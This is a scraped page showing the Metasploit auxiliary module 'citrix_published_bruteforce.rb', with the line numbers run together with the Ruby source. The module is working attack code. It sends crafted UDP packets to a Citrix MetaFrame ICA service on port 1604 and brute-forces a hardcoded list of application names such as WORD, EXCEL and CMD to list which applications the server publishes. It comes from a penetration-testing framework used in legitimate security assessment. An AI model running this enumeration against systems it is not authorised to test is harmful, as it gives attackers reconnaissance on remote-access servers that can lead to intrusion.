Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/citrix_published_bruteforce.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp78def initialize(info = {})9super(update_info(info,10'Name' => 'Citrix MetaFrame ICA Published Applications Bruteforcer',11'Description' => %q{12This module attempts to brute force program names within the Citrix13Metaframe ICA server.14},15'Author' => [ 'aushack' ],16'References' =>17[18[ 'OSVDB', '50617' ],19[ 'BID', '5817' ]20]21))2223register_options(24[25Opt::RPORT(1604),26])27end2829def autofilter30false31end3233def run34connect_udp3536print_status("Attempting to contact Citrix ICA service...")3738# Client NetBIOS hostname. This works fine >:)39client = Rex::Text.rand_text_alphanumeric(8)4041# Server hello packet42client_connect =43"\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00" +44"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"4546# Server hello response47server_response =48"\x30\x00\x02\x31\x02\xfd\xa8\xe3\x02\x00\x06\x44"4950applications = [51'TEST',52'NOTEPAD',53'ACROBAT READER',54'ACROBAR',55'EXPLORER',56'WORD',57'WORD2K',58'WORDXP',59'WORD2K3',60'WORD2K7',61'WORD 2000',62'WORD XP',63'WORD 2003',64'WORD 2007',65'WORD2000',66'WORD2003',67'WORD2007',68'EXCEL',69'EXCEL2K',70'EXCELXP',71'EXCEL2K3',72'EXCEL2K7',73'EXCEL 2000',74'EXCEL XP',75'EXCEL 2003',76'EXCEL 2007',77'EXCEL2000',78'EXCEL2003',79'EXCEL2007',80'ACCESS',81'ACCESS2K',82'ACCESSXP',83'ACCESS2K3',84'ACCESS2K7',85'ACCESS 2000',86'ACCESS XP',87'ACCESS 2003',88'ACCESS 2007',89'ACCESS2000',90'ACCESS2003',91'ACCESS2007',92'POWERPOINT',93'POWERPOINT2K',94'POWERPOINTXP',95'POWERPOINT2K3',96'POWERPOINT2K7',97'POWERPOINT 2000',98'POWERPOINT XP',99'POWERPOINT 2003',100'POWERPOINT 2007',101'POWERPOINT2000',102'POWERPOINT2003',103'POWERPOINT2007',104'OUTLOOK',105'OUTLOOKXP',106'OUTLOOK2K',107'OUTLOOK2K3',108'OUTLOOK2K7',109'OUTLOOK 2000',110'OUTLOOK XP',111'OUTLOOK 2003',112'OUTLOOK 2007',113'OUTLOOK2000',114'OUTLOOK2003',115'OUTLOOK2007',116'LOTUS',117'LOTUS NOTES',118'INTERNETEXPLORER',119'IE',120'IEXPLORER',121'FIREFOX',122'FIREFOX 3',123'NETSCAPE',124'NETSCAPE7',125'NETSCAPE6',126'MAIL',127'EMAIL',128'E-MAIL',129'INTERNET',130'CMD',131'COMMAND',132]133134# Citrix is publishing this application135application_valid =136"\x3e\x00\x02\x35\x02\xfd\xa8\xe3\x02\x00\x06\x44"137# Application not found / published138application_invalid =139"\x20\x00\x01\x3a\x02\xfd\xa8\xe3\x02\x00\x06\x44"140141udp_sock.put(client_connect)142res = udp_sock.get(3)143144if (res[0,server_response.length] == server_response)145print_status("Citrix ICA Server Detected. Attempting to brute force Published Applications.")146147applications.each do |application|148149# Create the packet150packet = [52 + application.length].pack('C')151packet << "\x00\x02\x34\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00"152packet << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\x00\x02\x00"153packet << [39 + application.length].pack('C')154packet << "\x00\x00\x00\x00\x00"155packet << application156packet << "\x00\x01\x00\x04\x00"157packet << client158packet << "\x00"159160udp_sock.put(packet)161res = udp_sock.get(3)162163if (res[0,application_valid.length] == application_valid)164print_status("Found: #{application}")165end166167if (res[0,application_invalid.length] == application_invalid)168print_error("NOT Found: #{application}")169end170end171172else173print_error("Server did not respond.")174end175176disconnect_udp177end178end179180181